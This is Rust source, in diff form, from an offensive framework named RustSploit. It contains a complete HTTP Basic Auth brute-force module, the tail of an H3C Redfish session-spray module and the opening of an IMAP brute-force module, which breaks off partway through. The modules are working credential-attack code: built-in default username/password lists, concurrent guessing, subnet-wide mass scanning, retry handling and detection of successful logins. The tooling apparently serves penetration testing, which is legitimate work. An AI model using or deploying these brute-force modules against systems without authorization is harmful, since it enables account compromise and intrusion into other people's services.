// ── Utility helpers ─────────────────────────────────────────────────────
|
||||
|
||||
async fn read_lines(path: &str) -> Result<Vec<String>> {
|
||||
let content = tokio::fs::read_to_string(path).await
|
||||
.with_context(|| format!("read {}", path))?;
|
||||
Ok(content.lines()
|
||||
.map(|l| l.trim().to_string())
|
||||
.filter(|l| !l.is_empty() && !l.starts_with('#'))
|
||||
.collect())
|
||||
}
|
||||
|
||||
fn strip_scheme(host: &str) -> String {
|
||||
let mut t = host.trim().to_string();
|
||||
for prefix in &["https://", "http://"] {
|
||||
if let Some(stripped) = t.strip_prefix(prefix) {
|
||||
t = stripped.to_string();
|
||||
break;
|
||||
}
|
||||
}
|
||||
if let Some(slash) = t.find('/') { t.truncate(slash); }
|
||||
if let Some(colon) = t.find(':') { t.truncate(colon); }
|
||||
t
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/h3c_redfish_session_spray", native);
|
||||
@@ -0,0 +1,561 @@
|
||||
use anyhow::{ anyhow, Context, Result };
|
||||
use colored::*;
|
||||
use std::io::Write;
|
||||
use std::net::IpAddr;
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module::{ Finding, FindingKind, ModuleCtx, ModuleOutcome };
|
||||
use crate::utils::{
|
||||
load_lines,
|
||||
get_filename_in_current_dir,
|
||||
normalize_target,
|
||||
cfg_prompt_default,
|
||||
cfg_prompt_yes_no,
|
||||
cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::wordlist;
|
||||
use crate::utils::network::build_http_client;
|
||||
use crate::utils::{
|
||||
BruteforceConfig,
|
||||
LoginResult,
|
||||
SubnetScanConfig,
|
||||
generate_combos_mode,
|
||||
parse_combo_mode,
|
||||
load_credential_file,
|
||||
run_bruteforce,
|
||||
run_subnet_bruteforce,
|
||||
is_subnet_target,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_HTTP_PORT: u16 = 80;
|
||||
const DEFAULT_HTTPS_PORT: u16 = 443;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "1234"),
|
||||
("admin", "12345"),
|
||||
("admin", "123456"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "password"),
|
||||
("root", "toor"),
|
||||
("root", ""),
|
||||
("user", "user"),
|
||||
("user", "password"),
|
||||
("test", "test"),
|
||||
("guest", "guest"),
|
||||
("manager", "manager"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "HTTP Basic Auth Brute Force".to_string(),
|
||||
description: "Brute-force HTTP Basic Authentication using username/password wordlists. \
|
||||
Supports HTTPS with invalid certificate acceptance, default credential testing, \
|
||||
combo mode, concurrent connections, and subnet/mass scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
default_port: Some(80),
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum HttpErrorType {
|
||||
AuthenticationFailed,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
TlsError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl HttpErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("401") || lower.contains("403") || lower.contains("unauthorized") {
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("tls")
|
||||
|| lower.contains("ssl")
|
||||
|| lower.contains("certificate")
|
||||
|| lower.contains("handshake")
|
||||
{
|
||||
Self::TlsError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::TlsError => "TLS/SSL error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct HttpError {
|
||||
error_type: HttpErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for HttpError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for HttpError {}
|
||||
|
||||
impl HttpError {
|
||||
fn from_string(msg: String) -> Self {
|
||||
let error_type = HttpErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Module Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("http_basic_bruteforce requires a single-host target")?;
|
||||
crate::mprintln!("\n{}", "=== HTTP Basic Auth Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
|
||||
let default_port = if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
|
||||
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = if wordlist::should_stream(&usernames_file) {
|
||||
let mut lines = Vec::new();
|
||||
let mut reader = wordlist::BatchedReader::open(&usernames_file).await?;
|
||||
while let Some(batch) = reader.next_batch().await? {
|
||||
lines.extend(batch);
|
||||
}
|
||||
lines
|
||||
} else {
|
||||
load_lines(&usernames_file)?
|
||||
};
|
||||
let passes = if wordlist::should_stream(&passwords_file) {
|
||||
let mut lines = Vec::new();
|
||||
let mut reader = wordlist::BatchedReader::open(&passwords_file).await?;
|
||||
while let Some(batch) = reader.next_batch().await? {
|
||||
lines.extend(batch);
|
||||
}
|
||||
lines
|
||||
} else {
|
||||
load_lines(&passwords_file)?
|
||||
};
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "http_basic_subnet_results.txt").await?;
|
||||
|
||||
// build_http_client already disables redirects (its default) and
|
||||
// accepts invalid certs — same shape, one canonical builder.
|
||||
let subnet_client = Arc::new(
|
||||
build_http_client(Duration::from_secs(5))
|
||||
.context("Failed to build HTTP client")?,
|
||||
);
|
||||
|
||||
let limiter = ctx.limiter.clone();
|
||||
let module_path = ctx.module_path.clone();
|
||||
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "http-basic",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/http_basic_credcheck",
|
||||
skip_tcp_check: false,
|
||||
state_file: None,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let url_path = url_path.clone();
|
||||
let client = Arc::clone(&subnet_client);
|
||||
let limiter = limiter.clone();
|
||||
let module_path = module_path.clone();
|
||||
async move {
|
||||
let scheme = if use_https { "https" } else { "http" };
|
||||
let url = format!("{}://{}:{}{}", scheme, ip, port, url_path);
|
||||
limiter.acquire(&module_path, &ip.to_string()).await;
|
||||
match try_http_login(&client, &url, &user, &pass).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let he = HttpError::from_string(e.to_string());
|
||||
LoginResult::Error {
|
||||
message: he.message,
|
||||
retryable: he.error_type.is_retryable(),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}).await?;
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
for (host, user, pass) in &hits {
|
||||
outcome.findings.push(Finding {
|
||||
target: host.clone(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("Valid HTTP Basic Auth credentials found: {}:{}", user, pass),
|
||||
data: Some(serde_json::json!({
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"service": "http-basic",
|
||||
"port": port,
|
||||
})),
|
||||
});
|
||||
}
|
||||
return Ok(outcome);
|
||||
}
|
||||
|
||||
// --- Single Target Mode ---
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
let use_https = cfg_prompt_yes_no("use_https", "Use HTTPS?", false).await?;
|
||||
let default_port = if use_https { DEFAULT_HTTPS_PORT } else { DEFAULT_HTTP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let url_path = cfg_prompt_default("url_path", "URL path to test", "/").await?;
|
||||
|
||||
let use_defaults = cfg_prompt_yes_no("use_defaults", "Try default credentials first?", true).await?;
|
||||
|
||||
let usernames_file = if cfg_prompt_yes_no("use_username_wordlist", "Use username wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
let passwords_file = if cfg_prompt_yes_no("use_password_wordlist", "Use password wordlist?", true).await? {
|
||||
Some(cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
|
||||
if !use_defaults && usernames_file.is_none() && passwords_file.is_none() {
|
||||
return Err(anyhow!("At least one wordlist or default credentials must be enabled"));
|
||||
}
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent tasks", 10, 1, 256).await? as usize;
|
||||
let connection_timeout = cfg_prompt_int_range("timeout", "Connection timeout (seconds)", 5, 1, 60).await? as u64;
|
||||
let retry_on_error = cfg_prompt_yes_no("retry_on_error", "Retry on connection errors?", true).await?;
|
||||
let max_retries = if retry_on_error {
|
||||
cfg_prompt_int_range("max_retries", "Max retries per attempt", 2, 1, 10).await? as usize
|
||||
} else {
|
||||
0
|
||||
};
|
||||
let stop_on_success = cfg_prompt_yes_no("stop_on_success", "Stop on first success?", true).await?;
|
||||
let save_results = cfg_prompt_yes_no("save_results", "Save results to file?", true).await?;
|
||||
let save_path = if save_results {
|
||||
Some(cfg_prompt_output_file("output_file", "Output file", "http_basic_brute_results.txt").await?)
|
||||
} else {
|
||||
None
|
||||
};
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let combo_input = cfg_prompt_default("combo_mode", "Combo mode (linear/combo/spray)", "combo").await?;
|
||||
|
||||
let scheme = if use_https { "https" } else { "http" };
|
||||
let base_url = format!("{}://{}:{}{}", scheme, target, port, url_path);
|
||||
let connect_addr = normalize_target(&format!("{}:{}", target, port))
|
||||
.unwrap_or_else(|e| {
|
||||
tracing::debug!("normalize_target failed: {e}");
|
||||
format!("{}:{}", target, port)
|
||||
});
|
||||
|
||||
crate::mprintln!("\n{}", format!("[*] Starting brute-force on {} ({})", connect_addr, base_url).cyan());
|
||||
|
||||
// Load wordlists — use streaming reader for large files to avoid OOM
|
||||
let mut usernames = Vec::new();
|
||||
if let Some(ref file) = usernames_file {
|
||||
if wordlist::should_stream(file) {
|
||||
let mut reader = wordlist::BatchedReader::open(file).await?;
|
||||
while let Some(batch) = reader.next_batch().await? {
|
||||
usernames.extend(batch);
|
||||
}
|
||||
} else {
|
||||
usernames = load_lines(file)?;
|
||||
}
|
||||
if usernames.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Username wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} usernames", usernames.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
let mut passwords = Vec::new();
|
||||
if let Some(ref file) = passwords_file {
|
||||
if wordlist::should_stream(file) {
|
||||
let mut reader = wordlist::BatchedReader::open(file).await?;
|
||||
while let Some(batch) = reader.next_batch().await? {
|
||||
passwords.extend(batch);
|
||||
}
|
||||
} else {
|
||||
passwords = load_lines(file)?;
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
crate::mprintln!("{}", "[!] Password wordlist is empty.".yellow());
|
||||
} else {
|
||||
crate::mprintln!("{}", format!("[*] Loaded {} passwords", passwords.len()).green());
|
||||
}
|
||||
}
|
||||
|
||||
// Add default credentials if requested
|
||||
if use_defaults {
|
||||
for (user, pass) in DEFAULT_CREDENTIALS {
|
||||
if !usernames.contains(&user.to_string()) {
|
||||
usernames.push(user.to_string());
|
||||
}
|
||||
if !passwords.contains(&pass.to_string()) {
|
||||
passwords.push(pass.to_string());
|
||||
}
|
||||
}
|
||||
crate::mprintln!("{}", format!("[*] Added {} default credentials", DEFAULT_CREDENTIALS.len()).green());
|
||||
}
|
||||
|
||||
if usernames.is_empty() {
|
||||
return Err(anyhow!("No usernames available"));
|
||||
}
|
||||
if passwords.is_empty() {
|
||||
return Err(anyhow!("No passwords available"));
|
||||
}
|
||||
|
||||
let mut combos = generate_combos_mode(&usernames, &passwords, parse_combo_mode(&combo_input));
|
||||
if cfg_prompt_yes_no("cred_file", "Load additional user:pass combos from file?", false).await? {
|
||||
let cred_path = cfg_prompt_existing_file("cred_file_path", "Credential file (user:pass per line)").await?;
|
||||
combos.extend(load_credential_file(&cred_path)?);
|
||||
}
|
||||
|
||||
let shared_client = Arc::new(
|
||||
build_http_client(Duration::from_secs(connection_timeout))
|
||||
.context("Failed to build HTTP client")?,
|
||||
);
|
||||
|
||||
let limiter = ctx.limiter.clone();
|
||||
let module_path = ctx.module_path.clone();
|
||||
let try_login = move |t: String, _p: u16, user: String, pass: String| {
|
||||
let url = base_url.clone();
|
||||
let client = Arc::clone(&shared_client);
|
||||
let limiter = limiter.clone();
|
||||
let module_path = module_path.clone();
|
||||
async move {
|
||||
limiter.acquire(&module_path, &t).await;
|
||||
match try_http_login(&client, &url, &user, &pass).await {
|
||||
Ok(true) => LoginResult::Success,
|
||||
Ok(false) => LoginResult::AuthFailed,
|
||||
Err(e) => {
|
||||
let he = HttpError::from_string(e.to_string());
|
||||
LoginResult::Error {
|
||||
message: he.message,
|
||||
retryable: he.error_type.is_retryable(),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
let result = run_bruteforce(&BruteforceConfig {
|
||||
target: target.to_string(),
|
||||
port,
|
||||
concurrency,
|
||||
stop_on_success,
|
||||
verbose,
|
||||
delay_ms: 0,
|
||||
max_retries,
|
||||
service_name: "http-basic",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/http_basic_credcheck",
|
||||
}, combos, try_login).await?;
|
||||
|
||||
result.print_found();
|
||||
if let Some(ref path) = save_path {
|
||||
result.save_to_file(path)?;
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
if !result.errors.is_empty() {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored HTTP responses.",
|
||||
result.errors.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if cfg_prompt_yes_no("save_unknown_responses", "Save unknown responses to file?", true).await? {
|
||||
let default_name = "http_basic_unknown_responses.txt";
|
||||
let fname = cfg_prompt_output_file(
|
||||
"unknown_responses_file",
|
||||
"What should the unknown results be saved as?",
|
||||
default_name,
|
||||
).await?;
|
||||
let filename = get_filename_in_current_dir(&fname);
|
||||
use std::os::unix::fs::OpenOptionsExt;
|
||||
let mut opts = std::fs::OpenOptions::new();
|
||||
opts.write(true).create(true).truncate(true);
|
||||
opts.mode(0o600);
|
||||
match opts.open(&filename) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# HTTP Basic Auth Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in &result.errors {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
file.flush()?;
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!("[+] Unknown responses saved to '{}'", filename.display()).green()
|
||||
);
|
||||
}
|
||||
Err(e) => {
|
||||
crate::mprintln!(
|
||||
"{}",
|
||||
format!(
|
||||
"[!] Could not create unknown response file '{}': {}",
|
||||
filename.display(),
|
||||
e
|
||||
)
|
||||
.red()
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (host, user, pass) in &result.found {
|
||||
outcome.findings.push(Finding {
|
||||
target: host.clone(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("Valid HTTP Basic Auth credentials found: {}:{}", user, pass),
|
||||
data: Some(serde_json::json!({
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"service": "http-basic",
|
||||
"port": port,
|
||||
})),
|
||||
});
|
||||
}
|
||||
Ok(outcome)
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// HTTP Basic Auth Login Attempt
|
||||
// ============================================================================
|
||||
|
||||
/// Attempt HTTP Basic Auth login.
|
||||
/// Returns Ok(true) on 200 (success), Ok(false) on 401/403 (auth failed),
|
||||
/// Err on connection/protocol errors.
|
||||
async fn try_http_login(
|
||||
client: &reqwest::Client,
|
||||
url: &str,
|
||||
user: &str,
|
||||
pass: &str,
|
||||
) -> Result<bool> {
|
||||
// Baseline probe WITHOUT credentials. If the endpoint serves 2xx to an
|
||||
// unauthenticated request it is not actually protected by Basic Auth, so a
|
||||
// subsequent 2xx with credentials is meaningless — treating it as a valid
|
||||
// login produces a false positive for every credential pair. Only when the
|
||||
// server challenges (401) does a credentialed 2xx confirm a real login.
|
||||
let baseline = client
|
||||
.get(url)
|
||||
.send()
|
||||
.await
|
||||
.context("HTTP baseline request failed")?;
|
||||
let baseline_status = baseline.status().as_u16();
|
||||
let server_enforces_basic_auth = baseline_status == 401;
|
||||
|
||||
let response = client
|
||||
.get(url)
|
||||
.basic_auth(user, Some(pass))
|
||||
.send()
|
||||
.await
|
||||
.context("HTTP request failed")?;
|
||||
|
||||
let status = response.status().as_u16();
|
||||
match status {
|
||||
200..=299 => {
|
||||
if server_enforces_basic_auth {
|
||||
Ok(true)
|
||||
} else {
|
||||
// Endpoint returns success without credentials too — cannot
|
||||
// confirm these creds are valid. Report as a non-success
|
||||
// rather than flooding loot with false positives.
|
||||
Ok(false)
|
||||
}
|
||||
}
|
||||
401 => Ok(false),
|
||||
403 => {
|
||||
crate::mprintln!("{}", format!("[?] 403 Forbidden for {}:{} — authenticated but unauthorized", user, pass).yellow().dimmed());
|
||||
Ok(false)
|
||||
}
|
||||
301 | 302 | 303 | 307 | 308 => {
|
||||
// A redirect only signals success when the endpoint actually enforced
|
||||
// auth (baseline 401). Apps that redirect ALL anonymous users to a
|
||||
// dashboard would otherwise mark every credential valid.
|
||||
if !server_enforces_basic_auth {
|
||||
return Ok(false);
|
||||
}
|
||||
// Only count redirect as success if it doesn't point to a login/auth page
|
||||
if let Some(location) = response.headers().get("location") {
|
||||
let loc = location.to_str().unwrap_or("").to_lowercase();
|
||||
if loc.contains("login") || loc.contains("auth") || loc.contains("signin") || loc.contains("sso") {
|
||||
Ok(false) // Redirect to login page = auth failed
|
||||
} else {
|
||||
Ok(true) // Redirect to non-login page = likely success
|
||||
}
|
||||
} else {
|
||||
Err(anyhow!("HTTP {} redirect with no Location header", status))
|
||||
}
|
||||
}
|
||||
// Definitive non-auth negatives from a responding server: treat as a clean
|
||||
// failure (resets the consecutive-error counter) instead of a retryable
|
||||
// Error that burns retries and trips the lockout give-up. 429/5xx fall
|
||||
// through to the Err path below, where classify_error marks them retryable.
|
||||
400 | 404 | 405 | 406 | 410 | 422 => Ok(false),
|
||||
_ => Err(anyhow!("HTTP {}", status)),
|
||||
}
|
||||
}
|
||||
|
||||
crate::register_native_module!(crate::module::Category::Creds, "generic/http_basic_bruteforce", native);
|
||||
@@ -0,0 +1,582 @@
|
||||
use anyhow::{ anyhow, Context, Result };
|
||||
use colored::*;
|
||||
use native_tls::TlsConnector;
|
||||
use std::io::{ Read, Write };
|
||||
use std::net::IpAddr;
|
||||
use std::time::Duration;
|
||||
|
||||
use crate::module::{ Finding, FindingKind, ModuleCtx, ModuleOutcome };
|
||||
use crate::utils::{
|
||||
load_lines,
|
||||
get_filename_in_current_dir,
|
||||
cfg_prompt_default,
|
||||
cfg_prompt_yes_no,
|
||||
cfg_prompt_existing_file,
|
||||
cfg_prompt_int_range,
|
||||
cfg_prompt_output_file,
|
||||
};
|
||||
use crate::utils::{
|
||||
BruteforceConfig,
|
||||
LoginResult,
|
||||
SubnetScanConfig,
|
||||
generate_combos_mode,
|
||||
parse_combo_mode,
|
||||
load_credential_file,
|
||||
run_bruteforce,
|
||||
run_subnet_bruteforce,
|
||||
is_subnet_target,
|
||||
backoff_delay,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// Constants
|
||||
// ============================================================================
|
||||
|
||||
const DEFAULT_IMAP_PORT: u16 = 143;
|
||||
const DEFAULT_IMAPS_PORT: u16 = 993;
|
||||
|
||||
const DEFAULT_CREDENTIALS: &[(&str, &str)] = &[
|
||||
("admin", "admin"),
|
||||
("admin", "password"),
|
||||
("admin", "123456"),
|
||||
("admin", ""),
|
||||
("root", "root"),
|
||||
("root", "password"),
|
||||
("user", "user"),
|
||||
("user", "password"),
|
||||
("test", "test"),
|
||||
("guest", "guest"),
|
||||
("info", "info"),
|
||||
("mail", "mail"),
|
||||
("postmaster", "postmaster"),
|
||||
];
|
||||
|
||||
pub fn info() -> crate::module_info::ModuleInfo {
|
||||
crate::module_info::ModuleInfo {
|
||||
name: "IMAP Brute Force".to_string(),
|
||||
description: "Brute-force IMAP authentication using raw TCP protocol with TLS/IMAPS \
|
||||
support. Sends IMAP LOGIN commands, handles greeting banners, and supports \
|
||||
default credential testing, combo mode, concurrent connections, and subnet/mass \
|
||||
scanning.".to_string(),
|
||||
authors: vec!["RustSploit Contributors".to_string()],
|
||||
references: vec![
|
||||
"https://datatracker.ietf.org/doc/html/rfc3501".to_string(),
|
||||
],
|
||||
disclosure_date: None,
|
||||
rank: crate::module_info::ModuleRank::Normal,
|
||||
default_port: Some(143),
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Classification
|
||||
// ============================================================================
|
||||
|
||||
#[derive(Debug, Clone, PartialEq)]
|
||||
enum ImapErrorType {
|
||||
AuthenticationFailed,
|
||||
ConnectionRefused,
|
||||
ConnectionTimeout,
|
||||
TlsError,
|
||||
ProtocolError,
|
||||
Unknown,
|
||||
}
|
||||
|
||||
impl ImapErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let lower = msg.to_lowercase();
|
||||
if lower.contains("authentication")
|
||||
|| lower.contains("login")
|
||||
|| lower.contains("invalid credential")
|
||||
|| lower.contains("a001 no")
|
||||
{
|
||||
Self::AuthenticationFailed
|
||||
} else if lower.contains("refused")
|
||||
|| lower.contains("reset")
|
||||
|| lower.contains("broken pipe")
|
||||
{
|
||||
Self::ConnectionRefused
|
||||
} else if lower.contains("timeout")
|
||||
|| lower.contains("timed out")
|
||||
|| lower.contains("deadline")
|
||||
{
|
||||
Self::ConnectionTimeout
|
||||
} else if lower.contains("tls")
|
||||
|| lower.contains("ssl")
|
||||
|| lower.contains("certificate")
|
||||
|| lower.contains("handshake")
|
||||
{
|
||||
Self::TlsError
|
||||
} else if lower.contains("protocol") || lower.contains("unexpected") || lower.contains("banner") {
|
||||
Self::ProtocolError
|
||||
} else {
|
||||
Self::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
fn is_retryable(&self) -> bool {
|
||||
matches!(self, Self::ConnectionRefused | Self::ConnectionTimeout | Self::Unknown)
|
||||
}
|
||||
|
||||
fn description(&self) -> &'static str {
|
||||
match self {
|
||||
Self::AuthenticationFailed => "Authentication failed",
|
||||
Self::ConnectionRefused => "Connection refused/reset",
|
||||
Self::ConnectionTimeout => "Connection timed out",
|
||||
Self::TlsError => "TLS/SSL error",
|
||||
Self::ProtocolError => "Protocol error",
|
||||
Self::Unknown => "Unknown error",
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[derive(Debug)]
|
||||
struct ImapError {
|
||||
error_type: ImapErrorType,
|
||||
message: String,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for ImapError {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(f, "[{}] {}", self.error_type.description(), self.message)
|
||||
}
|
||||
}
|
||||
|
||||
impl std::error::Error for ImapError {}
|
||||
|
||||
impl ImapError {
|
||||
fn from_anyhow(err: anyhow::Error) -> Self {
|
||||
let msg = err.to_string();
|
||||
let error_type = ImapErrorType::classify_error(&msg);
|
||||
Self { error_type, message: msg }
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Module Entry Point
|
||||
// ============================================================================
|
||||
|
||||
pub async fn run(ctx: &ModuleCtx) -> Result<ModuleOutcome> {
|
||||
let target = ctx
|
||||
.target
|
||||
.as_single()
|
||||
.context("imap_bruteforce requires a single-host target")?;
|
||||
crate::mprintln!("\n{}", "=== IMAP Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
crate::mprintln!();
|
||||
|
||||
// --- Subnet Scan Mode ---
|
||||
if is_subnet_target(target) {
|
||||
crate::mprintln!("{}", format!("[*] Target: {} (Subnet Scan)", target).cyan());
|
||||
|
||||
let use_tls = cfg_prompt_yes_no("use_tls", "Use TLS/IMAPS?", false).await?;
|
||||
let default_port = if use_tls { DEFAULT_IMAPS_PORT } else { DEFAULT_IMAP_PORT };
|
||||
let port = cfg_prompt_int_range("port", "Port", default_port as i64, 1, 65535).await? as u16;
|
||||
let usernames_file = cfg_prompt_existing_file("username_wordlist", "Username wordlist").await?;
|
||||
let passwords_file = cfg_prompt_existing_file("password_wordlist", "Password wordlist").await?;
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if passes.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = cfg_prompt_int_range("concurrency", "Max concurrent hosts", 50, 1, 10000).await? as usize;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose mode?", false).await?;
|
||||
let output_file = cfg_prompt_output_file("output_file", "Output result file", "imap_subnet_results.txt").await?;
|
||||
|
||||
let connection_timeout: u64 = 5;
|
||||
|
||||
let limiter = ctx.limiter.clone();
|
||||
let module_path = ctx.module_path.clone();
|
||||
let hits = run_subnet_bruteforce(target, port, users, passes, &SubnetScanConfig {
|
||||
concurrency,
|
||||
verbose,
|
||||
output_file,
|
||||
service_name: "imap",
|
||||
jitter_ms: 50,
|
||||
source_module: "creds/generic/imap_credcheck",
|
||||
skip_tcp_check: false,
|
||||
state_file: None,
|
||||
}, move |ip: IpAddr, port: u16, user: String, pass: String| {
|
||||
let limiter = limiter.clone();
|
||||
let module_path = module_path.clone();
|
||||
async move {
|
||||
let target_str = ip.to_string();
|
||||
limiter.acquire(&module_path, &target_str).await;
|
||||
let res = tokio::task::spawn_blocking(move || {
|
||||
attempt_imap_login(&target_str, port, &user, &pass, use_tls, connection_timeout)
|
||||
}).await;
|
||||
match res {
|
||||
Ok(Ok(true)) => LoginResult::Success,
|
||||
Ok(Ok(false)) => LoginResult::AuthFailed,
|
||||
Ok(Err(e)) => {
|
||||
let retryable = e.error_type.is_retryable();
|
||||
if retryable {
|
||||
tokio::time::sleep(backoff_delay(250, 1, 4)).await;
|
||||
}
|
||||
LoginResult::Error { message: e.message, retryable }
|
||||
}
|
||||
Err(e) => LoginResult::Error {
|
||||
message: format!("Task panic: {}", e),
|
||||
retryable: false,
|
||||
},
|
||||
}
|
||||
}
|
||||
}).await?;
|
||||
let mut outcome = ModuleOutcome::ok();
|
||||
for (host, user, pass) in &hits {
|
||||
outcome.findings.push(Finding {
|
||||
target: host.clone(),
|
||||
kind: FindingKind::Credential,
|
||||
message: format!("Valid IMAP credentials found: {}:{}", user, pass),
|
||||
data: Some(serde_json::json!({
|
||||
"username": user,
|
||||
"password": pass,
|
||||
"service": "imap",
|
||||
"port": port,
|
||||
})),
|
||||
});
|
||||
}
|
||||
return Ok(outcome);
|
||||
}
|
||||
|
||||
